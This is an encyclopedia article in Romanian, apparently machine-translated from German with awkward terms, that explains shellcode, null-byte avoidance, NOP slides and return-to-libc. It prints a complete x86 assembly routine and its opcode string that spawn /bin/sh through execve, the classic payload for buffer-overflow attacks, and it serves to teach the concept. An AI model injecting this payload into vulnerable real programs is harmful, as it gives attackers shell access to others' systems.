Shellcode

Shellcode este un termen de programare și descrie un patch foarte mic de instrucțiuni de asamblare convertite în coduri opționale , cu care intenția este de a manipula un program sau sistem sau de a-l utiliza în scopuri neintenționate. De multe ori încearcă să pornească un shell , de unde și numele. Shellcodes își au originea în depășirea bufferului și alte atacuri de injectare a codului, dar pot fi utilizate și în software , în special teste de penetrare , în experimentare și în didactică.

Crearea codurilor shell

Pentru a genera cod shell, comanda care trebuie executată poate fi scrisă în C și tradusă folosind un compilator . Programul generat este acum dezasamblat (tradus) și funcționalitatea programului reprogramată în limbaj de asamblare. Totuși, multe instrucțiuni pot fi omise sau scurtate. Cu multe exploatări , codul shell nu trebuie să conțină un octet 0, deoarece aceasta marchează sfârșitul șirului în C. În general, trebuie evitate alte obstacole, de exemplu numai literele și numerele sunt permise sau literele majuscule și minuscule sunt modificate sau trebuie respectate anumite compensări, care pot fi realizate, de exemplu, completând mai mult sau mai puțin pot fi lanțuri creative de operațiuni zero (așa-numitele diapozitive NOP ).

În loc să executați propriul cod, ceea ce nu este întotdeauna posibil (de exemplu, atunci când utilizați protecția de memorie ), puteți sări direct la funcțiile dorite care sunt disponibile, de exemplu, în programul în sine sau într-o bibliotecă încărcată , de exemplu libc . Această procedură se numește returnare în libc .

exemplu

Cod executiv local (/ bin / sh) shell

Codul asamblatorului (arhitectura x86):

void main() {
__asm__("
jmp 0x2a            # 3 bytes - springt direkt vor den String
popl %esi           # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax      # 5 bytes - syscall-nummer in eax
movl %esi,%ebx      # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment
int $0x80           # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax     # 5 bytes - exit-interrupt
movl $0x0, %ebx     # 5 bytes - wird vorbereitet
int $0x80           # 2 bytes - interrupt wird ausgelöst
call -0x2f          # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");
}

Șirul opcode:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Cu toate acestea, acest cod nu este foarte inteligent, deoarece conține octeți nuli și este destul de lung. Pentru a evita „caracterele nedorite”, se folosesc adesea codificatoare, care permit mascarea și demascarea ulterioară a acestor caractere și, eventual, comprimarea codului shell. Există, de asemenea, alte tehnici pentru a afla adresa șirului decât un „jmp” sau „apel”. De exemplu, este posibil să /bin/shîmpingi doar teancul. Esp conține apoi adresa.

literatură

  • Jack Koziol: Manualul Shellcoderului. Descoperirea și exploatarea găurilor de securitate. Wiley, Indianapolis IN 2004, ISBN 0-7645-4468-3 .
  • Jon Erickson: Cod interzis. mitp, Bonn 2004, ISBN 3-8266-1457-7 .

Link-uri web

Dovezi individuale

  1. Sursa: phrack.org ( Memento din 11 februarie 2008 în Internet Archive )